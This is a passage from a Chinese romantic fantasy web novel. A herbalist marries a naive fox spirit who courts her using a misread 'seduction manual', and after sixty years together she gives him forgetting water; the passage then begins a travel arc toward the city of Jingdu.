一个穿着白衣的青年男子抱着她,睡得很熟,还咂巴着嘴,还在她怀里蹭蹭!
清茶茫然了,无错了,僵住了。
她咽了咽口水,低头看着对方,对方长得清秀俊朗,睡得一脸餍足。
不知不觉间,她看入了迷,没想着动作,也忘了时间流逝,直到对方浓密的睫毛动了动。
她连忙闭上眼睛装睡,感受到抱住她的人坐起身。
她悄悄将眼睛睁开一条缝,见对方慌乱地爬起身,往前跑出两米脚下打滑摔了一跤,砰的摔回原形,飞也似的钻进草丛没了影。
害,真是只傻狐狸。她在心中笑笑。
她又躺了一会,将样子装到底,最后才慢悠悠伸了个懒腰,起身,背起竹篓离开。
等到第二天,她多准备了一张饼,再次背起竹篓来林中挖草药。
在林中没走多远,身旁的树丛响起窸窣声,她侧过头,视线与准备悄悄冒头的小狐狸撞了个正着。
对方一愣,脸上的慌乱太过明显,嗖的一声又缩了回去。
小狐狸抱着自己的尾巴,等了一会才再次冒出头,而原地已经没了人影。
它焦急地跳了出来,左右张望,没见到人,尾巴都耷拉下来。
这时,前面传来锄头挖进土地的声音。
它耳朵顿时立起,尾巴转的飞快,一溜烟跑了过去,从树后探出头。
清茶余光一瞥,若无其事继续挖草药。
等到中午,她拣了块石头坐下,掏出饼和水壶,声音不大不小道:
“害,要是能再遇见昨天那只小狐狸就好了,我特意为它带了张饼。”
说完,余光一瞥,看着树后的毛茸茸尾巴忍笑。
“呜?”
小狐狸耳朵一翘,十分“自然”地从树后走出来,晃着尾巴看向清茶。
“啊,小狐狸,”清茶惊喜道,“我给你带了饼,要吃吗?”
小狐狸矜持不过两秒,嗷呜一声扑了过来,在对方身旁吃得直摇尾巴。
清茶小心地将手放在对方背上,柔软的触感让她忍不住发出一声喟叹:
“小狐狸,你要是和我回家该多好啊,我天天为你准备好吃的。”
正埋头吃饼的小狐狸瞬间抬起头,眼睛圆溜溜的,将面前的人清晰地倒映在瞳孔上。
想了想,它叼着剩下的饼,转身跳进树丛中,用动作表示拒绝。
好吧,清茶站起身,也不算很意外,她本就是想逗逗对方,但真被拒绝了,还是有些小失落。
她背起竹篓,也不打算休息了,早点挖到草药早点回去。
结果她没走出多远,忽然听见前方传来不小的呜呜声,她赶忙跑过去,便见小狐狸就在前面,绕着一株草药转圈。
“要给我吗?”她惊讶问。
小狐狸轻轻呜了一声,疯狂摇着尾巴,它可不会白吃对方的饼,不过跟对方回去嘛,它才不是这么随便的狐狸,它听其他狐狸说了,随便跟陌生人回家的是狐狸精!
它可是要当狐仙的。
此后,一人一狐间达成了无声的约定,每日清茶会来到林中挖草药,为对方带一些吃
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食,而对方会带着她快速找到草药。
清茶也再没见过对方化形,直到一次,她带了壶酒准备在湖边小酌……
那日风和日丽,湖边景色秀美。
最近有了对方帮助,她一天挖的草药数量能赶上以往四五天的,于是她决定今日好好放松下,将这番风景兑在酒中,一口口饮下。
小狐狸在一旁啃着对方带来的桃花酥,但渐渐的,它抬起鼻子,左右嗅了嗅,最终锁定在清茶手中。
它桃花酥也不吃了,前爪扒拉对方胳膊,将鼻子凑到酒壶前,眼中的渴望几乎化为实质。
“这是酒。”清茶一把抓住对方脑袋,将其推开。
刚推开,对方又凑了上来,在她怀里拱,一下下扒拉对方。
清茶真没辙了,只得道:“行了,给你尝一点,别凑近了。”
“也不知道狐狸能不能喝酒。”她小声嘀咕,将酒壶半倾。
对方连忙舔了一下,瞬间抬起头,满脸新奇,不确定,又舔了一下,再次抬起头,睁大了眼睛。
清茶被对方这番反应逗得笑个不停,一个没注意,让对方将酒喝了大半,她反应过来时对方已经晕得打转了。
“没想到你酒力不好。”清茶一把将转圈的狐狸抱住。
对方趴在她怀中,眼皮都掀不开了,看起来还挺乖。
清茶刚要将对方放在地上,结果还没落地,对方砰的一声化了形,这么大一个人直接压在她身上。
温暖的体温将她整个人覆盖住,对方脑袋搭在她脖颈间,呼吸间的热气喷洒在耳边。
清茶睁大眼睛,整个人都处在茫然中,魂游在外,可耳垂与脸颊上的灼热又是如此明显。
她微低头,看见对方浓密的睫毛,下面是泛红的脸庞,再下面是穿的严严实实的衣服,淡蓝色,不食人间烟火般仙气。
她抬起手,准备将对方推开,趁对方没醒来赶紧溜,想来对方也不希望自己身份暴露。
她还没来得及动作,对方轻“唔”一声,在她脖颈里拱了拱,眉头微蹙,直到找到一个舒适的位置才安分下来。
清茶……再次魂游天外。
最终,她还是下定决心将对方推开,虽然美男在怀的感觉十分美好,但是……但是……
其实可以没有但是的。
对方被推开的瞬间,又砰的一声变回小狐狸,摊着肚皮睡得香甜。
清茶又是遗憾又是松了口气,在对方脸上戳戳,看来对方才化形不久,灵力并不稳定。
既然对方变回小狐狸,那她也没必要离开,干脆就在一旁守着吧。
这一守便守到下午,她看着对方伸了个懒腰,四只脚都在用力伸直,然后才缓缓睁开眼,对上自己含笑的视线。
狐狸:“……呜?”
清茶笑道:“呜?”
“!!!”狐狸站起身,结果起猛了,脑子一阵晕眩,在倒下前被对方接住。
好丢脸。它用爪子捂住脸,不愿相信这一切。
清茶低低笑了起来。
狐狸挪开爪子,悄悄看了对方一眼,一下子竟然忘记尴尬,看入了迷。
“好了,天色不早了。”清茶将对方扶正,正色道,“我得走了。”
狐狸扒住对方收拾东西的手,它仔细想了想,也许,它可以跟对方回家,当然,这并不是说它是狐狸精的意思。
哪知对方压根不知它的意思,背起竹篓,头也不回地离开了。
就这样离开了!
狐狸站在原地,觉得湖边的风有些萧瑟。
可恶,它再也不理对方了!
51. 采药人与狐妖(2)
狐狸蹲在树丛后,无聊地直打哈欠,耳朵弯了下来。
就在它打了不知第几个哈欠时,远处终于传来熟悉的脚步声,枝叶被拨开的哗啦声在寂静林中格外明显。
它耳朵一翘,从树丛后探出头,浑然忘了昨日自己说过了什么。
然而,在它看清来人时,整只狐狸都震惊了。
它要等的人身旁,跟着个男人。
“小心头。”清溪拨开头顶垂下的枝叶,示意清茶先过去。
“这条路我走了很多遍了。”后者无奈道。
清溪笑笑,正要说些什么,忽觉背后一寒,扭过头将身后扫视一遍,可疑道:
“这地方会不会太偏了,我怎么觉得凉飕飕的。”
“天气正好。”清茶绕过对方,她一心放在小狐狸身上,没察觉对方有什么不对。
说来奇怪,以往这个时候那只狐狸早就跳出来,跟在她脚后转,或者跑到前面对着草药呜呜叫,怎么今日还不见影?
“难怪你能挖到这么多草药,这地深,应当很少会有人来。”清溪左右瞧瞧,努力多说些什么来忽视几乎黏在身上的冰冷感。
“也不全是。”清茶兴致缺缺,她能挖到这么多草药还有另一个原因,但不知为何,她并不想将此事说出来。
两人继续深入,确实发现不少草药,年份高的,稀有的。
清茶有些失神,注意力未集中,被树干上垂下的青藤猛地一绊,往前踉跄两步。
狐狸一惊,下意识要扑过去,却见那男人动作更快地扶住对方。
它瞬间蔫吧下来,心里又气又闷,使劲用脚跺着地面。
“谢谢师兄。”清茶呼了口气,抽回手。
“怎么我觉得你心事重重的,是不是身子不舒服?”清溪担忧道,“要不要师兄给你把把脉?”
说着,他将手搭在对方手腕寸口上。
两人师从同人,平日也会拿对方练习针灸或者试药,因此清茶并不排斥,反而无奈笑道:“师兄,我好得很。”
“那你心里想什么呢?”清溪满脸狐疑,突然,他想到什么,夸张地捂嘴道:“师妹,你不会舍不得师兄吧?”
他感动得热泪盈眶,“师兄会常回来看你的。”
师傅经营了不只一家药堂,清溪有了出师的能力,被安排去管理经营在另一处的药堂,不日就会出发。
如果不出意外,此地的药堂会交由清茶打理。
“我很舍得。”清茶一脸嫌弃,“师兄,你还是快点出发吧。”
“什么嘛,没想到师妹你如此无情。”清溪抓紧竹篓带子,满脸郁闷,朝着来路走了。
“师兄!”
对方没应。
真是够了,还当我是小孩子呢!清茶咕哝一句,拔腿追上去哄人。
“哼,狐狸精!”树丛后的狐狸目露愤恨与嫌弃,尾巴重重打在地面,将枯叶打得脆响。
脚步声已经远去,它从树丛后探出头,走了出来。
望着他们离去的方向,它甩甩头,往相反方向离开。
在经过将清茶绊住的枯藤时,它在上面狠狠踩了一脚,昂着下巴离开。
来到湖边,碧绿湖水在阳光下泛着粼粼波光,风过,涟漪缓缓散开。
狐狸盯着湖中倒影——雪白的毛发,毛茸茸的大尾巴,还有溜圆的眼睛,小巧粉红的鼻子……
不用再看了,它可是狐群中最好看的狐狸。
“砰”的一下,它化出人形,以湖为镜,又瞧了瞧自己的脸,低垂着脑袋,不知想些什么。
清茶将师兄哄好了,送出林子,又转身回来。
她竹篓中还装有为小狐狸带的八珍糕,离开前她总得将东西送出去,但今日实在奇怪,这都到正午了,对方还不出现。
她脚步不由急促,担心对方出了什么事。
湖边是她与对方常待的地方,中午时她便会与对方在湖边吹着风,吃着她带来的吃食,享受宜人风光。
她拨开垂下的枝条,那片湖就在眼前,蓝得纯粹的天穹倒映湖面。
同时,湖边一团淡蓝色映入眼帘,好像是湖水溢出来一小块。
清茶顿住脚,久久地望着。
突然,对方拾起脚边的石块,奋力砸进湖面。
扑通一声,平静的湖面被打碎,水花溅有一米高,涟漪蛛网似的扩散。
“难怪不出现,原来是心情不好。”清茶心道,“也不知道看见我带了八珍糕会不会高兴一点。”
她倒是很想出去安慰对方,奈何对方一直维持人形,自己不好行动啊。
她望着对方蹲着的背影,思索着。
对方不知是感受到她的视线,还是心有所感,突然扭过身。
两人目光骤然在空中相撞,彼此皆是一愣。
对方愣过后,脸上浮现惊讶、生气、郁闷、委屈,就这么看着清茶,不动,也不说话。
清茶不解对方表情为何会如此丰富,这神情,搞得她好像是抛夫弃子的恶人似的。
她在原地站了几秒,既然对方已经发现自己,她干脆走过去,略有些尴尬道:“你好。”
对方撇撇嘴,“我不好。”
清茶:“啊?”
“发生什么事了吗?”她问。
对方蹲的有些脚麻,一屁股盘腿坐在地上,扭过头,不回答。
清茶想了想,从竹篓中拿出八珍糕,递出去,问:“要尝尝吗?很好吃的。”
狐狸神情微动,一方面为对方给自己带吃的高兴,一方面又生气对方将带给小狐狸吃的八珍糕给一个陌生人吃。
见对方不接,清茶满脸问号,跟着坐下,道:“我叫清茶,你叫什么?”
“清茶……”对方念着她的名字,像在回味般,又轻声念了一遍,心情微微好转,这才道:“我叫云追。”
“很好听的名字!”清茶说着,又将手中的零嘴往前递递,这次对方被吸引了注意力,很自然地接过。
对方吃着,心情肉眼可见地又好了,他余光瞥了清茶一眼又一眼,终于没忍不住,问:“你想带我回家吗?”
清茶:“啊?”这傻狐狸在说什么呢!不过……
她看着对方,咽了咽口水,莫名有些心动。
云追撑着地面,身体前倾,眼睛直勾勾盯着对方。
他的眼神认真,甚至带
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上些严肃,反衬出清茶的慌乱和窘迫。
被这么盯着,清茶觉得自己脑子被捣成了浆糊,鬼使神差的,点头道:“好。”
云追哼哼两声,坐直身,拿着剩下的糕点继续吃。
吃着吃着,他突然想到什么,非常刻意地解释道:
“我家住在灵台山,就是前面那座山,我是来这里谋生的,也是挖草药。”
也……?
清茶无声笑笑,这狐狸也太傻了,我都没说自己是做什么的。
她憋着笑,佯装惊讶道:
“那很巧了,我正好经营一家药堂,不如你在我这做事。”
言罢,她站起身,“咱们这就走吧。”
对方没动。
“嗯?怎么了?”
云追仰着头,认真道:“我不做帮工,我要嫁给你。”
他刚在湖边蹲了半天,已经将苦修的《狐仙修炼法则》抛掉,回忆了几遍备受狐妖推崇的《狐狸精勾魂指南》。
他才不想做帮工,忙得一身狼狈,他只需要躺在床上等着对方就好。
得亏他没把这些话说出来,不然已经脸色通红的清茶会喷出鼻血来。
一瞬间,清茶想到了许多狐妖吸人精气的恐怖传说,眼中的惊恐刚露出半分,在看见对方脸时又缩了回去。
“没事,”她心想,“我精通医药,有的是法子补足精气。”
于是,她也跟傻了似的,点头道:“好啊,我娶你。”
云追这才心满意足地站起身,将头微撇,露出红得能滴血的耳垂,随对方离开。
半个时辰后,清溪扯着嗓子道:
“你是说你挖个草药,遇见个陌生男人,短短半个时辰不到,就决定要与对方成亲?”
清茶硬着头皮点头。云追躲在清茶身后,朝前面的男人挑衅一笑。
清溪:“……”对方在挑衅他吧,对方在挑衅他吧!
清茶满脸茫然,不懂师兄短短几秒内怎么会变得如此激动,她都怕对方气得背过气去。
“云追家住在灵台山,离这里并不远,且他家原先也是行医救人的,后来家道中落,一人独自生活。”
她努力解释,希望对方能给云追有个好印象,浑不知身后的男人神色有多么挑衅。
“不行,我不同意!”清溪狠声道,但凡他有点理智都不会同意。
“我也知成亲太匆忙了些,那便定在三月后。”清茶顺着对方道,“而且,云追家中无人,成了亲自然是要和我住在一起的。”
好说歹说,清溪终于缓和脸色,道:
“那便先这样,若是他对你不好,我不会放过他!”
清茶摸摸鼻子,反正没几天你就离开了,天高皇帝远的,自己再怎么样对方也管不着了。
她美滋滋想着,感觉身后衣摆被扯了一下,便对清溪道:
“那师兄,我先带着云追下去了。”
“去吧去吧。”清溪没好气地挥手,在两人离开后,他看着云追背影,露出担忧,对方长相如此,莫不是专门骗单纯女子的。
他自然想留下来多观察观察,奈何那边催的紧,拖了几天,只得启程。
52. 采药人与狐妖(3)
清溪一走,云追便迫不及待问:“我们什么时候成亲?”
清茶微愣:“也……不用这么着急吧。”
师兄才走,后脚就把婚礼办起来,对方保准会反身杀回来。
云追眨着眼睛,可疑地看着对方,渐渐的,他眼露一丝了然,语出惊人道:“你想和我偷情。”
他语气笃定,“你想趁谁都不知道,在外置办一处宅子,把我养在里面。”
清茶吓得五官乱颤,惊恐地看向四周,两人还站在药堂门外,街道上来来往往的人,这祖宗都在说些什么!
云追一幅我全都知道的模样,抱臂道:“你们女人都是这样,我不管,我要做大房!”
清茶:“……”
她扶扶额,语气无奈又没辙,“这些,你都是从哪听的?”
云追不说话了,他不能说他在苦修狐族秘宝,这会吓到对方的。
见对方不应答他的要求,他一脸坚毅,眼神冰冷,仿佛看穿她的恶人本质……但是,谁是恶人啊!
理智回笼,清茶觉得一切都很莫名其妙,她干嘛要跟一个陌生男人成亲?
她刚想到这,对方抓住她手臂,轻轻晃了晃,神色一百八十度大翻转,语气委屈得不行,“你不想和我在一起吗?你不喜欢我吗?”
看着对方可怜兮兮的样子,清茶的心受到猛烈抨击,她的大脑再次变成浆糊,什么都忘了想,拔高声音道:
“成,这亲必须马上成!”
云追嘴角溢出一抹得逞的微笑。
七日后,城中第一大药堂堂主成亲,形势浩大,风光无限。
清茶忐忑地给清溪寄去信件,暂时未受到回信,但可以想见对方知道消息后暴跳如雷,快马加鞭赶回来的模样。
嗯……这事确实是她做的不对,等之后再任对方责罚。
进入婚房,红纱垂地,香烛摇曳,空中弥漫着淡淡甜香。
清茶走进内室,大红婚床上,一袭红衣的新郎官正手捧一本书,看得津津有味。
洞房花烛夜看什么书?
清茶迟疑两秒,走过去。
察觉脚步声,云追猛地翻身,下意识将书藏在身后。
“你……”他婚服半敞,满脸错愕,一时还没反应过来,许是看那什么书看得太入迷了些。
清茶视线落在对方露出的肌肤上,脸庞微微发烫,忽的转身跨步到桌前,捞过上面的玉白碗,将里面的黑色液体一咕哝灌了。
她重重哈了口气,也不管嘴中直冲天灵盖的苦涩,赴死般走回床边。
云追已经趁对方离开这几秒将备受狐族推崇的《狐狸精勾魂指南》藏好,对方一来马上迎上去,在要碰到对方时一顿。
“你喝了什么,怎么臭臭的?”
清茶没好意思说那是一碗补精充血的药,主要用于床上一事。
“还是稳妥些好。”她想,“毕竟床上的是只不知轻重的傻狐狸。”
云追不知对方在想些什么,他跪在床上,直起身,凑近对方,很轻很痒地舔了舔她的嘴角,咂巴两下,蹙眉道:“是苦的。”
清茶脑子一嗡,瞬间空白,后来发生了什么,她都记不清了,只知道画面十分香艳。
月上中天,开始西落。
清茶喘着气,无力地推搡对方,哑着嗓子道:“不行了,不做了……”
云追抬起头,眼眸明亮,初尝禁果后一脸新奇,“这个好有意思,我还要!”
清茶:“……”失策了,她应该喝两碗……不,喝三碗药的。
万幸,第二日正午,清茶活着从床上起来。
刚坐起身,腰部忽被抱住,她身体瞬间僵硬,扭过头,松了口气——对方还在熟睡,一脸餍足。
她咬咬牙起身,洗漱后本想去药堂瞧瞧,刚走出几步便觉得乏力,什么都不想动,看着院中藤椅,她直接躺了上去。
太阳西落时,云追才胡乱穿好衣服从房内出来,着急四望,在看见藤椅上的人时松了口气,半跑过来。
他脸色微红,眼神躲闪又频频落在对方脸上。
清茶悠悠睁开眼,见到来人时倏地坐起身,还没反应过来,对方已经坐在她腿边,侧身抱住她,将脸埋在她脖颈处。
浑身的僵硬缓缓泄下,她抬起手,将对方抱住。
此后几日,两人走哪都黏在一起——主要是云追黏住清茶,过着蜜里调油的神仙日子,直到,清溪快马加鞭赶了回来。
大堂之上,氛围分外压抑,仿若乌云压顶,那倾盆大雨说下便能下。
师傅隐居不理凡事,长兄如父,坐那高堂上的便只有清溪一人。
清茶拉着云追站在堂下,她顶着上方的无尽压力就罢了,偏身后这人也不安分,一会扯扯她衣摆,一会挠挠她掌心。
清茶轻轻拍了拍他手,示意他非常时刻,安分一点。
“你怎么答应我的?”清溪骤然出声,语调冰冷。
清茶浑身一颤,不得不严肃起来,打起十二分的精力对待。
她知道对方是真的生气了,师兄一直温柔待人,时常开开小玩笑,她都快八百年没见过对方生气了,这突然见了,直接吓得她大气不敢出。
“师兄……”她硬着头皮回答,“我与云追两情相悦,我也相信他的为人,便想着这婚礼也不必拖了。”
“你就这么着急,急到你拜完堂才知会我一声?”
他视线落在自家师妹护着的男人身上,心痛无比,明眼人都看得出来,师妹已经被这野男人勾去了魂!
而眼瞎人清茶仰着头,将气势拔高一丢,道:
“师兄,我知道你在担心我,但我已经不是孩童,我自能辨别与决定。”
云追悄悄打了个哈欠,见清茶嘴巴巴拉巴拉说个不停,也不知在说啥,不过嘴巴红红的,想亲。
这想法一冒头,便不受控制的放大。
可恶,要是搁平日他早就亲上去了,现在这样都怪这个叫师兄的男人!
他聚神听了几句两人谈话内容,很快明白发生了什么。
哈!竟然不想让我过门,没事,看我拿出狐族秘宝——《狐狸精勾魂指南》第三式——
“我怀孕了,孩子是清茶的。”
他的声音并不嘹亮,气势也不强,但一说出来,堂内只剩下针落可闻的寂静。
云追扬扬下巴,心道不愧是狐族秘宝,仅一句话便震慑住了两人,话说,这气氛怎么有些奇怪?
清茶维持着嘴巴张开的姿势,但用来反驳师兄的话却怎么也吐不出来。
清溪更是嘴角抽搐,看向云追的眼神带上丝怀疑,对方怕不是个傻子,这么一想,傻的也比一个心眼多的好,他自我纾解道。
清茶终于将嘴巴合上,直面这尴尬的局面,道:“师兄,既然婚礼已成,不如就先这样,我先带云追下去了。”
见对方还处在不知是震惊还是思索中没回话,清茶赶紧抓住云追的手,逃也似的回到房中。
一将房门关上,云追便迫不及待吻上他心心念念的唇,只不过还没碰上一秒,便被对方推了回来。
“你在说什么呢?”清茶震惊得想抓狂,“你说你怀孕了?”
男的狐妖也是能怀孕的吗?!
云追撇撇嘴,“没有,我骗师兄的,这样他就不会拆散我们了。”
“那……”那怀孕的也该是我啊……
她早该意识到的,人妖相恋还有一个需要注意的地方,就是人与妖的逻辑可能是不通的,就比如她直到现在,也没能完全明白对方脑瓜里在想些什么。
一开始,她就不应该被对方的美貌所迷惑。
但应付师兄的事也算是歪打误撞的完成了,哪怕后果是对方认为她娶回来的人是个傻子。
直到几日后的一个晚上,清茶从云追枕头下摸出一本书,才真正明白一切。
书的封面,是“狐狸精勾魂指南”七个墨色大字,光是一看,她便心中一咯噔,心道不好,但同时也意识到,她触到了某些真相。
她怀着忐忑的心情将书页翻开,一目十行简单浏览下来,愣住了,不确定地又去看了看书封面。
没错啊,是叫《狐狸精勾魂指南》啊,怎么书里全是风月读物?莫不是为了掩人耳目,奥秘就在其中。
想到这,她呼了口气,看了眼在身旁睡得正香的人,继续翻阅,并将阅读速度放慢了许多。
越看,她越是震惊,心中连连感叹,世间竟有如此之物,这笔者也真是个不可多得的人才。
然而,她逐渐发现了不对劲,尤其是她读到故事中的主角在与爱人要被恶毒婆婆拆散时,说的那句“我有身孕了”,她满脸黑线。
再明白不过了,她呼了口气,将书放回云追的枕头下,这一动作稍稍惊动了对方,他轻唔一声,侧过身,抓着她衣袖继续睡了。
清茶提起的心很快放下,没忍住,捏了捏对方的脸颊,不知是该气愤还是该无奈的笑笑,她很想告诉师兄,不要担心这个人有什么心眼,他就是单纯的傻,剧本拿错了都不知道。
罢了,这样也挺好。
清茶刚躺下身,对方便摸索着抱了上来,熟练地将头搭在她脖颈处,继续酣睡。
经过多日的暗地观察,清溪总算是能确定,他师妹娶回来的人并没有其他企图,每次自己在路上碰见师妹,她身上总会挂着一个云追。
而被观察数日的云追早已有些不满,他更喜欢和清茶过二日世界,总有道视线盯着算什么事,对方没妻子抱吗?
想到这,他真的发现什么,问被自己抱住的人:“你师兄还没娶妻吗?”
清茶:“还没,怎么了?”
云追一幅“果然如此”的表情,嘴角浮现一抹笑意。
清茶侧头瞥了他一眼,也不知他在心里
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打着什么算盘。
几天后,清溪启程回去,清茶在药堂门口相送,难得的,云追也抬手挥挥。
清溪一脸嫌弃地收回目光,将帘子放下。
车夫一扯缰绳,骏马扬起前蹄,带着马车与车上的人,消失在街道拐角处。
清茶收回视线,见身旁人还望着飘浮在空中的尘土出神,奇怪道:“怎么了?”
“啊!”云追回过神,笑眯眯道:“我想给师兄介绍个女子,祝他早日成亲,这样就少了精力管我们。”
“你来介绍?”清茶不得不忧心,莫不是介绍的狐妖,且是像对方一样的狐妖?
她心里的小人直摇头,师兄管着他们也是为他们好,怎么能以怨报德?
于是在云追回答“是啊”后,严肃道:“师兄已有心仪的女子,咱别掺和,也许不久咱俩就能吃他们的喜酒了。”
云追蔫吧下来,“行吧。”鬼知道他刚在脑子里把灵台山上的女狐狸过了一遍,已经选了几个脾气大,不好对付的。
为了让对方彻底打消拉线做媒的念头,清茶暗地努力操心她师兄的终身大事,可算是在第二年听到了对方成亲的消息。
这一年多的时间,清溪对她与云追还是颇关注。
云追一天不是黏在她身上,就是玩花弄草,街头街尾发现美食。
对方将那什么剧本贯彻到底,只是将买首饰换成买吃的,一整个被她养的小娇夫的样子,但这个样子肯定不能让清溪知道,于是遇见师兄,她就会说:
“云追可勤快了,在帮我晒草药呢。”实则在院子里晒太阳。
“这会他在捣药,做了一上午了,挺辛苦的。”实则捕蝴蝶捕了一上午。
“这会他在看书,他很爱学习的,看得可认真了。”不过看的是《狐狸精勾魂指南》,确实挺认真。
…………
“这么一想,幸好没让云追给师兄搭线,不然现在对方也会忧愁此事。”清溪笑笑,银白色发丝在阳光下有些晃眼。
“这几十年,他都没说自己的身份吗?”江余客问。
清茶:“没有,可能是生活太美满,没想起,也没必要。”
在之后的生活中,那只小狐狸也出现过几次,是在他们在一起的前几年,对方喝醉酒不小心化形。
云追以为自己藏得很好,殊不知早在清茶眼下暴露了一次又一次。
后来云追灵力稳定了,即使是喝酒喝得烂醉,也没再化过形,对方就像人类一样,陪着她生活了一年又一年,一起变老,等待着死亡。
但是,这死亡是清茶一个人的,对方还能活很久,这也是她来找卖水人的原因。
现在的云追也是一头白发,脸庞上的皱纹浅浅好几道,但眼里的光未减,光看那眼神,就像在看一个少年人一样。
哪怕年纪到了这,对方也喜欢窝在她怀里撒娇,不知变老是为何,只知道爱的人变了个样子,他也要变,这样看起来更登对。
孟梨食听完,忍不住道:“你们的感情已经很让人羡慕了,多少有情人都无法共白首。”她还想说,这个结局未尝不好。
“我也觉得自己很幸运了,多的也不敢去奢求。”清茶笑笑。
孟梨食将忽然出现在左手中的碗递出去,对面的人从腰间取下一只钱袋。
在他们的注视下,清茶从身后的木架上拿下一只小酒壶,将忘情水倒了进去。
孟梨食站起身,“那我们便不多留了。”
清茶的脸上总是挂着笑,见状轻声道:“多谢。”
她在原地枯坐许久,望着桌上的酒壶出神,将这几十年发生的点点滴滴又过了一遍。
何其有幸,她遇见对方,走过了这漫长又甜蜜的六十年。
太阳越发热烈,高悬空中。
屋内传来响动,她知道他醒了,便提着酒壶走进去。
一进屋,对方便熟练地抱住她,用刚睡醒的沙哑嗓音问:“你去哪了?”
“酒肆掌柜给我们送了壶新酿的酒,说要请你品品。”
云追睁开惺忪睡眼,注意到对方手中确实提着一壶酒。
“新酿的?那可找对人了,我可懂酒了。”说着,他将酒接过,将盖子打开,闻了闻,嘀咕道:“确实是没喝过的新酒,让我尝尝味道如何。”
清茶静静看着对方将酒液灌入口中,咂巴两下,奇怪道:“怎么像水一样?”又砸吧砸吧,细细品味,“有些酸……”
慢慢回味着,眼睛却控制不住的缓缓搭上。
清茶伸出手,将对方接住,接住的下一秒,对方变成了一只小狐狸,与六十年前她见到的一模一样,其实,岁月并没有在对方身上留下任何痕迹。
“你向来没心没肺,就当做你睡了六十年吧,醒来了继续在林子里欢腾。”清茶轻声道。
怀里的小狐狸轻唔一声,翻了个身,将爪子搭在她胸口。
53. 青梅与竹马(1)
“节也过完了,咱们按照计划,继续往东,嗯,现在刚天明,赶路到傍晚,在林中休息一晚,第二日午时就能到达景都。”孟梨食道。
“哇,景都!”小魂激动地在空中翻滚,“听说那景色可美了。”
“除了美你还知道什么?”孟梨食问。
小魂“呃么么”好一会,终于想到什么,亮着眼睛回答:
“对了,我之前听糕点铺掌柜的说过,这景都有两乐师闻名天下,一人古琴弹得世间少有,一人玉箫吹得人间少闻,二人合奏,千古绝唱!”
它兴冲冲说完,却见孟梨食轻嗤一声,抱臂道:“我还以为你会说那的美食赞不绝口呢。”
“你……哼!”小魂扭过头,不理对方。
早在许久前就听他们聊过此地,江余客一直都很有兴趣,却知道的并不多,于是问:“这到底是什么地方?有什么特殊的吗?”
孟梨食看了他一眼,想起对方也算初入江湖,不知道也正常,便介绍道:
“景都在俞国和晟国之间,这两国虽常年不对付,有冲突却都会避开此地。”
“为什么?”
“这是江湖规矩。”小魂凑上来回答。
它刚说完,被一只手弹开,孟梨食不耐烦道:“不知道就一边去。”
“就你见多识广、知识渊博、无所不知。”
“谢谢夸奖。”孟梨食朝小魂扬扬下巴,继续道:“景都有竹息林管理,这都城的城主也是竹息林的管理者。”
见江余客张嘴想问些什么,孟梨食早有所知回道:“你就把竹息林当个江湖门派就好。”
顿了顿,她继续道:
“它的创建者是俞国某朝王爷,那位王爷很有可能是下一任皇帝,但他放弃竞争皇位,主动来到还是穷乡僻壤的此地,创建竹息林。”
“诶,这我知道!”小魂再次凑上来,“听说这王爷手里握有兵符,连俞国皇帝都忌惮。”
孟梨食:“听说而已,真假未知。”
小魂抱臂道:“绝对是真的!”
眼见两人又要起争执,江余客忙岔开话题问:“因为可能有兵符,所以景都才不受战乱波及吗?”
“当然不,”孟梨食道,“景都能防战乱波及,也能防周边宗门冲突影响,是因为它有许多人守护,许多渴望安稳、和平的生灵。”
听她说完,为了显示自己也是有知识的,小魂接着道:“意思就是景都内的人、妖、魔、仙等是能和平共处的。”
几人登上马车,走走停停,并不着急赶路,晚上时便挑了块平坦地生火,野宿。
太阳落下一半,暮色渐浓。
江余客将马车停下,翻身下车,朝车内喊道:“今晚我们就在这休息吧。”
车帘被猛地掀开,江余客以为会看见孟梨食的脸,却见小魂用脸顶着车帘飞了出来,跟丢沙包似的。
他急忙将身体一侧,堪堪避过对方,这才看见孟梨食慢慢掀开帘子,不屑地往外瞥了眼。
江余客知道,这两人又斗嘴了,他已经习惯,这两人就没相安无事超过两天的。
孟梨食跳下车,环视一圈,点头道:“不错,风景挺好。”
马车停在树下,树前几米处有一条清澈的小河,在余晖下泛着波光。
“孟梨食!”小魂猛吸一口气,将自己身体鼓大,气势汹汹飘来。
噼里啪啦!
火药味开始弥漫。
在两人再次爆发冲突前,江余客一个闪身挤在两人中间,扯着笑道:“河里有鱼,咱们今晚烤鱼吃怎么样?”
说到烤鱼,一人一魂俱是一愣。
小魂比较没心没肺,闻言胸中提着的气瞬间泄下,亮着眼睛道:“吃鱼?好啊,我来捉,我可会捉鱼了!”
它说着,伸着两只小短手飘到河上,一脸认真地用视线搜寻水下游曳的鱼。
孟梨食脾气就比较犟了,尤其是她生气的时候。
“走吧。”江余客对她笑笑。
孟梨食将头一扭,视线落进被余晖照得暗黄,更显静谧的林中。
“我不会捉鱼。”她语调冷硬。
江余客无奈地将手放在她后背,将她推到树下,“那你坐着,我来捉就好。”
孟梨食抱臂的手慢慢松下来,任对方将自己推过去。
“你坐着看我捉。”江余客将鞋子脱了,又将裤脚衣袖挽起,抬眼对她笑道:“我捉鱼比小魂厉害。”
孟梨食凉凉道:“小魂压根不会捉鱼。”
“我猜也是。”
孟梨食脸色终于好了一些,想了想,起身道:“我去捡柴火。”
江余客忙将已经取下倚着树干放着的轩辕剑递出去,“拿着,当火把用。”
孟梨食神色不明地看向轩辕剑,随着江余客的话,剑身散发着温和的亮光。
她想起与对方初见时,对方说捡到轩辕剑的事,想起来还是有些生气,以前现在,都没好好利用这把绝世宝剑。
她拿过剑转身离开,江余客在身后道:“注意安全。”
“知道了。”
轩辕剑脱离孟梨食的手,主动飘在她身旁,在她躬身捡树枝的时候凑过去照明。
忙活一会儿,被橙黄渲染的林间迅速暗下去,孟梨食直起腰,遥望着近乎完全落入山脚的夕阳,难得的什么都不去想。
她望的出神,直到远处传来鬼叫声——
“孟梨食,不好了!”
孟梨食太阳穴猛地一跳,循着声音快步出去,“你叫魂啊!”
事态紧急,小魂不与对方计较,道:“江余客不见了!”
“啥?”
“刚才江余客捉了两条鱼,上岸边处理,我还在河里捉呢,一抬眼就没见对方了,怎么喊都不回我,哦,鱼也不见了。”
孟梨食脸色瞬间一黑,咬牙道:“竟然敢偷我的鱼!”
“你重点错了吧……”
察觉对方怒气,轩辕剑发出嗡鸣。孟梨食食指一动,一根红线从轩辕剑上飘出,延伸至林中。
一人一魂顺着红线,在林间迅速穿梭。
最终,红线没入黑咕隆咚的石洞,消失在眼中。
